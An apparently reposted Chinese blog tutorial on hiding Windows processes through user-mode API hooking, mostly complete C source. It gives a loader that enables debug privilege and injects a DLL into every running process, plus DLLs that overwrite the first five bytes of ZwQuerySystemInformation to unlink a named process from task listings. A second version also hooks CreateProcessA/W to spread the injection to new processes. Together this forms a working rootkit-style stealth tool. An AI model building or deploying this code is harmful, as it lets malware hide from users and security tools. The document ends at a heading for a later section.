API勾取实现进程隐藏
来源:互联网 发布:js 树形菜单递归函数 编辑:程序博客网 时间:2024/06/05 14:50
Windows中,任务管理器、Procexp等软件都是通过遍历进程信息结构体链表来获取进程名的,所以我们只要获取进程信息结构体链表然后删除指定进程信息块就能实现进程的隐藏,这种隐藏其实不是真正的隐藏而是让查看进程的程序无法查看到而已。
遍历进程方法一(创建进程快照):
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //系统快照要查看的信息类型
DWORD th32ProcessID //值0表示当前进程
);
BOOL WINAPI Process32First(
HANDLE hSnapshot, //CreateToolhelp32Snapshot()创建的快照句柄
LPPROCESSENTRY32 lppe //指向进程入口结构
);
BOOL WINAPI Process32Next(
HANDLE hSnapshot, //这里参数同Process32First
LPPROCESSENTRY32 lppe //同上
);
引用地址:遍历进程的4种方法
方法二:
通过psapi.dll提供的EnumProcesses()、EnumProcessModules()函数实现
函数原型声明如下:
BOOL EnumProcesses(
DWORD* pProcessIds,
DWORD cb,
DWORD* pBytesReturned
);
BOOL EnumProcessModules(
HANDLE hProcess,
HMODULE* lphModule,
DWORD cb,
LPDWORD lpcbNeeded
引用地址:枚举进程方法参考
实际以上两中方法在函数内部都会调用ntdll.dll提供的Native API
ZwQuerySystemInformation()函数,所以在应用层做API勾取的时候勾取这个函数可以更加有效
NTSTATUS WINAPI ZwQuerySystemInformation(__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__in_out PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
好了,现在来说说本文实现通过勾取API函数实现进程隐藏的方法,其中的关键是API的勾取,勾取的方法有多种这里通过修改API的起始5个字节的代码为跳转地址JMP XXXXXXXX来实现控制跳转,转而执行自定义的MyZwQuerySystemInformation,该函数已经删除了进程信息结构体中我们要勾取的进程节点,因此达到隐藏进程目的(此处因注意的是,它只是隐藏进程名,但是不能隐藏程序窗口和窗口名称,若要达到这一效果,还得重新勾取窗口隐藏的相关API,如SetWindowPos(),MoveWindow()等)
5字节修改补丁
5字节修改方法如下图:
步骤简介:
1、修改API前5个字节JMP XXXXXXXX(挂钩)
2、执行自定义函数(删除进程信息结构体指定节点)
3、脱钩(为什么还要脱钩? 如果不脱钩,该API就无法正常调用,其他进程也无法显示,并且该API还有其他的功能无法完成)
4、调用原API
5、再次挂钩(因为前面只是实现了对这一个程序的进程隐藏,还要获取其他能显示进程的程序)
注意事项:
1.修改前5个字节的时候,要将原来的5个字节保存下来,以便后面脱钩使用,在修改的时候还需要获取该地址的修改权限
2.如果涉及到多线程,在修改5字节的时候还可能会遇到其他线程正读取我们要修改的地址,这时会造成非法访问异常(Access Violation)
3.修改代码用到的技术,仍然是Dll注入,DLL注入要涉及到OpenProcess,而OpenProcess函数又需要提权操作,相关API为
OpenProcessToken、AdjustTokenPrivileges
下面贴上源代码
#include "windows.h"#include "stdio.h"#include "tlhelp32.h"#include "tchar.h"typedef void (*PFN_SetProcName)(LPCTSTR szProcName);enum {INJECTION_MODE = 0, EJECTION_MODE};BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { printf("OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { printf("The token does not have the specified privilege. \n"); return FALSE; } return TRUE;}BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath){ HANDLE hProcess, hThread; LPVOID pRemoteBuf; DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc; if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { printf("OpenProcess(%d) failed!!!\n", dwPID); return FALSE; } pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL); pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); return TRUE;}BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath){ BOOL bMore = FALSE, bFound = FALSE; HANDLE hSnapshot, hProcess, hThread; MODULEENTRY32 me = { sizeof(me) }; LPTHREAD_START_ROUTINE pThreadProc; if( INVALID_HANDLE_VALUE == (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) ) return FALSE; bMore = Module32First(hSnapshot, &me); for( ; bMore ; bMore = Module32Next(hSnapshot, &me) ) { if( !_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath) ) { bFound = TRUE; break; } } if( !bFound ) { CloseHandle(hSnapshot); return FALSE; } if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { CloseHandle(hSnapshot); return FALSE; } pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSnapshot); return TRUE;}BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath){ DWORD dwPID = 0; HANDLE hSnapShot = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe; // Get the snapshot of the system pe.dwSize = sizeof( PROCESSENTRY32 ); hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL ); // find process Process32First(hSnapShot, &pe); do { dwPID = pe.th32ProcessID; // 鉴于系统安全性考虑 //对于PID小于100 的系统进程不注入Dll if( dwPID < 100 ) continue; if( nMode == INJECTION_MODE ) InjectDll(dwPID, szDllPath); else EjectDll(dwPID, szDllPath); } while( Process32Next(hSnapShot, &pe) ); CloseHandle(hSnapShot); return TRUE;}int _tmain(int argc, TCHAR* argv[]){ int nMode = INJECTION_MODE; HMODULE hLib = NULL; PFN_SetProcName SetProcName = NULL; if( argc != 4 ) { printf("\n Usage : HideProc.exe <-hide|-show> "\ "<process name> <dll path>\n\n"); return 1; } // change privilege SetPrivilege(SE_DEBUG_NAME, TRUE); // load library hLib = LoadLibrary(argv[3]); // set process name to hide SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName"); SetProcName(argv[2]); // Inject(Eject) Dll to all process if( !_tcsicmp(argv[1], L"-show") ) nMode = EJECTION_MODE; InjectAllProcess(nMode, argv[3]); // free library FreeLibrary(hLib); return 0;}
注入操作和普通注入并什么差别,只是遍历了进程注入所有进程而已,关键的勾取操作都写入了DLL中
DLL代码
#include "windows.h"#include "tchar.h"#define STATUS_SUCCESS (0x00000000L) typedef LONG NTSTATUS;typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; BYTE Reserved1[48]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION) (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);#define DEF_NTDLL ("ntdll.dll")#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")// global variable (in sharing memory)#pragma comment(linker, "/SECTION:.SHARE,RWS")#pragma data_seg(".SHARE") TCHAR g_szProcName[MAX_PATH] = {0,};#pragma data_seg()// global variableBYTE g_pOrgBytes[5] = {0,};BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){ FARPROC pfnOrg; DWORD dwOldProtect, dwAddress; BYTE pBuf[5] = {0xE9, 0, }; PBYTE pByte; // 获取要勾取API地址 pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pfnOrg; // 若已经勾取,则返回return FALSE if( pByte[0] == 0xE9 ) return FALSE; // 修改内存属性,用于修改5字节 VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); //备份原来5字节 memcpy(pOrgBytes, pfnOrg, 5); //计算JMP地址(E9 XXXX) // => XXXX = pfnNew - pfnOrg - 5 dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5; memcpy(&pBuf[1], &dwAddress, 4); // 修改5字节(JMP XXXX) memcpy(pfnOrg, pBuf, 5); // 恢复内存属性 VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect); return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){ FARPROC pFunc; DWORD dwOldProtect; PBYTE pByte; // 获取API地址 pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; // 若已经脱钩,则返回return FALSE if( pByte[0] != 0xE9 ) return FALSE; // 修改内内存属性,用于恢复5字节 VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); // Unhook memcpy(pFunc, pOrgBytes, 5); // 恢复内存属性 VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE;}NTSTATUS WINAPI NewZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){ NTSTATUS status; FARPROC pFunc; PSYSTEM_PROCESS_INFORMATION pCur, pPrev; char szProcName[MAX_PATH] = {0,}; // unhook unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes); // original API 调用 pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), DEF_ZWQUERYSYSTEMINFORMATION); status = ((PFZWQUERYSYSTEMINFORMATION)pFunc) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if( status != STATUS_SUCCESS ) goto __NTQUERYSYSTEMINFORMATION_END; // 仅对SystemProcessInformation类型操作 if( SystemInformationClass == SystemProcessInformation ) { // SYSTEM_PROCESS_INFORMATION 类型转换 // pCur 是单向列表single linked list 的 head pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while(TRUE) { // 比较进程名 // g_szProcName =要隐藏的进程名 // (通过SetProcName()来设置) if(pCur->Reserved2[1] != NULL) { if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName)) { // 从链表删除隐藏进程的节点 if(pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; else pPrev->NextEntryOffset += pCur->NextEntryOffset; } else pPrev = pCur; } if(pCur->NextEntryOffset == 0) break; //链表下一项 pCur = (PSYSTEM_PROCESS_INFORMATION) ((ULONG)pCur + pCur->NextEntryOffset); } }__NTQUERYSYSTEMINFORMATION_END: // 函数结束前再次勾取 API Hooking为下次勾取做准备 hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes); return status;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ char szCurProc[MAX_PATH] = {0,}; char *p = NULL; // #1. 异常处理 // 若当前进程为HookProc.exe 则终止,不进行勾取 GetModuleFileNameA(NULL, szCurProc, MAX_PATH); p = strrchr(szCurProc, '\\'); if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") ) return TRUE; switch( fdwReason ) { // #2. API Hooking case DLL_PROCESS_ATTACH : hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes); break; // #3. API Unhooking case DLL_PROCESS_DETACH : unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes); break; } return TRUE;}#ifdef __cplusplusextern "C" {#endif__declspec(dllexport) void SetProcName(LPCTSTR szProcName){ _tcscpy_s(g_szProcName, szProcName);}#ifdef __cplusplus}#endif
以上代码就能够实现对现有运行的调用了ZwQuerySystemInformation()的程序的API勾取,但是却不能勾取到后来新运行的程序的API,为了真正实现对所有API的勾取,还需要新创建进程,也就是要勾取创建进程的API这些API有WinExec、ShellExecute、system等,这些API在其内部实际又都调用了CreateProcess,但是CreateProcess又要分为CreateProcessA和CreateProcessW,而且在这两个函数内部又分别调用CreateProcessInternalA和CreateProcessInternalW,部分windows程序会直接调用这两个程序,所以要同时勾取以上提到的函数才能实现全局勾取,不过其实有一种更简单的方法,因为有逆向人员发现CreateProcess内部调用了ZwResumeThread(),所以只要勾取了这一API就万事大吉,
ZwResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG SuspendCount OPTIONAL)
ZwResumeThread是ntdll中一个未公开函数,将来可能会改变,使之前的程序不稳定,所以无法保证安全性
这里还有一个小提示:
在勾取ZwResumeThread时实际不用像之前那样勾取每个程序的这个函数,因为所有进程都是由父进程(通常是explorer.exe)通过CreateProcess创建,所以勾取父进程的该函数就可以实现注入所有进程。
接下来贴源代码
HideProc2.cpp
#include "windows.h"#include "stdio.h"#include "tlhelp32.h"#include "tchar.h"enum {INJECTION_MODE = 0, EJECTION_MODE};BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { printf("OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid) ) // receives LUID of privilege { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { printf("The token does not have the specified privilege. \n"); return FALSE; } return TRUE;}BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath){ HANDLE hProcess, hThread; LPVOID pRemoteBuf; DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc; if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { printf("OpenProcess(%d) failed!!!\n", dwPID); return FALSE; } pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL); pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); return TRUE;}BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath){ BOOL bMore = FALSE, bFound = FALSE; HANDLE hSnapshot, hProcess, hThread; MODULEENTRY32 me = { sizeof(me) }; LPTHREAD_START_ROUTINE pThreadProc; if( INVALID_HANDLE_VALUE == (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) ) return FALSE; bMore = Module32First(hSnapshot, &me); for( ; bMore ; bMore = Module32Next(hSnapshot, &me) ) { if( !_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath) ) { bFound = TRUE; break; } } if( !bFound ) { CloseHandle(hSnapshot); return FALSE; } if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) { printf("OpenProcess(%d) failed!!!\n", dwPID); CloseHandle(hSnapshot); return FALSE; } pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); CloseHandle(hSnapshot); return TRUE;}BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath){ DWORD dwPID = 0; HANDLE hSnapShot = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe; // Get the snapshot of the system pe.dwSize = sizeof( PROCESSENTRY32 ); hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL ); // find process Process32First(hSnapShot, &pe); do { dwPID = pe.th32ProcessID; if( dwPID < 100 ) continue; if( nMode == INJECTION_MODE ) InjectDll(dwPID, szDllPath); else EjectDll(dwPID, szDllPath); } while( Process32Next(hSnapShot, &pe) ); CloseHandle(hSnapShot); return TRUE;}int _tmain(int argc, TCHAR* argv[]){ int nMode = INJECTION_MODE; if( argc != 3 ) { printf("\n Usage : HideProc2.exe <-hide|-show> <dll path>\n\n"); return 1; } // change privilege SetPrivilege(SE_DEBUG_NAME, TRUE); // Inject(Eject) Dll to all process if( !_tcsicmp(argv[1], L"-show") ) nMode = EJECTION_MODE; InjectAllProcess(nMode, argv[2]); return 0;}
stealth2.cpp
#include "windows.h"#include "stdio.h"#include "tchar.h"#define STR_MODULE_NAME (L"stealth2.dll")#define STR_HIDE_PROCESS_NAME (L"notepad.exe")#define STATUS_SUCCESS (0x00000000L) typedef LONG NTSTATUS;typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; BYTE Reserved1[52]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);typedef BOOL (WINAPI *PFCREATEPROCESSA)( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);typedef BOOL (WINAPI *PFCREATEPROCESSW)( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);BYTE g_pOrgCPA[5] = {0,};BYTE g_pOrgCPW[5] = {0,};BYTE g_pOrgZwQSI[5] = {0,};BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes){ FARPROC pFunc; DWORD dwOldProtect, dwAddress; BYTE pBuf[5] = {0xE9, 0, }; PBYTE pByte; pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; if( pByte[0] == 0xE9 ) return FALSE; VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy(pOrgBytes, pFunc, 5); dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5; memcpy(&pBuf[1], &dwAddress, 4); memcpy(pFunc, pBuf, 5); VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE;}BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes){ FARPROC pFunc; DWORD dwOldProtect; PBYTE pByte; pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; if( pByte[0] != 0xE9 ) return FALSE; VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy(pFunc, pOrgBytes, 5); VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE;}BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; HANDLE hToken; LUID luid; if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) { printf("OpenProcessToken error: %u\n", GetLastError()); return FALSE; } if( !LookupPrivilegeValue(NULL, // lookup privilege on local system // privilege to lookup &luid) ) // receives LUID of privilege { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if( bEnablePrivilege ) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ) { printf("The token does not have the specified privilege. \n"); return FALSE; } return TRUE;}BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName){ HANDLE hThread; LPVOID pRemoteBuf; DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR); FARPROC pThreadProc; pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); if( pRemoteBuf == NULL ) return FALSE; WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName, dwBufSize, NULL); pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadProc, pRemoteBuf, 0, NULL); WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); CloseHandle(hThread); return TRUE;}NTSTATUS WINAPI NewZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){ NTSTATUS status; FARPROC pFunc; PSYSTEM_PROCESS_INFORMATION pCur, pPrev; char szProcName[MAX_PATH] = {0,}; unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI); pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQuerySystemInformation"); status = ((PFZWQUERYSYSTEMINFORMATION)pFunc) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if( status != STATUS_SUCCESS ) goto __NTQUERYSYSTEMINFORMATION_END; if( SystemInformationClass == SystemProcessInformation ) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while(TRUE) { if(pCur->Reserved2[1] != NULL) { if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME)) { if(pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; else pPrev->NextEntryOffset += pCur->NextEntryOffset; } else pPrev = pCur; } if(pCur->NextEntryOffset == 0) break; pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset); } }__NTQUERYSYSTEMINFORMATION_END: hook_by_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI); return status;}BOOL WINAPI NewCreateProcessA( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation){ BOOL bRet; FARPROC pFunc; // unhook unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA); // original API 调用 pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA"); bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); // 向生成的子进程注入stealth2.dll if( bRet ) InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME); // hook hook_by_code("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA, g_pOrgCPA); return bRet;}BOOL WINAPI NewCreateProcessW( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation){ BOOL bRet; FARPROC pFunc; // unhook unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW); // original API 调用 pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW"); bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation); // 向生成的子进程注入stealth2.dll if( bRet ) InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME); // hook hook_by_code("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW, g_pOrgCPW); return bRet;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ char szCurProc[MAX_PATH] = {0,}; char *p = NULL; // 异常处理是注入不会发生在HideProc2.exe GetModuleFileNameA(NULL, szCurProc, MAX_PATH); p = strrchr(szCurProc, '\\'); if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") ) return TRUE; // change privilege SetPrivilege(SE_DEBUG_NAME, TRUE); switch( fdwReason ) { case DLL_PROCESS_ATTACH : // hook hook_by_code("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA, g_pOrgCPA); hook_by_code("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW, g_pOrgCPW); hook_by_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI); break; case DLL_PROCESS_DETACH : // unhook unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA); unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW); unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI); break; } return TRUE;}
从以上代码可以看出,与之前代码并无太大变化,在勾取时同时勾取了CreateProcessA和CreateProcessW函数,还需要注意的是由于勾取了这两个函数,所以在进程注入的时候不需要再用OpenProcess来获取进程Handle了能直接通过openProcess的参数lpProcessInformation->hProcess来获取,不过上面的代码仍然没有用到ZwResumeThread(),这一函数的勾取将在后面提到。
“热补丁”7字节修改
